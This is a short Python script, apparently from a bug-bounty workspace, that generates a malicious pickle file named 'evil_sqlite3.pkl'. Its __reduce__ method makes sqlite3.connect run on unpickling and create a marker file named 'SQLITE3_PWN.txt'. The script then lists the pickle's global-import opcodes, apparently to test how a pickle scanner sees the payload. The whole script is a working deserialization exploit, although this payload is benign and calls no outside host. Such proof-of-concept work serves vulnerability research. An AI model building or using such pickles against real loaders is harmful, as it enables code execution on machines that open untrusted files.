| import pickle, os, pickletools, io | |
| import sqlite3 | |
| MARKER = r"C:/Users/uozer/AppData/Local/Temp/opencode/SQLITE3_PWN.txt" | |
| OUT = r"D:\0projects\bountykimi\tmp\artifacts\evil_sqlite3.pkl" | |
| class E: | |
| def __reduce__(self): | |
| return (sqlite3.connect, (MARKER,)) | |
| data = pickle.dumps({"e": E()}) | |
| open(OUT, "wb").write(data) | |
| print("gen ok", os.path.getsize(OUT)) | |
| print("globals:", [(o.name, a) for o, a, p in pickletools.genops(io.BytesIO(data)) if o.name in ("GLOBAL","INST","STACK_GLOBAL")]) | |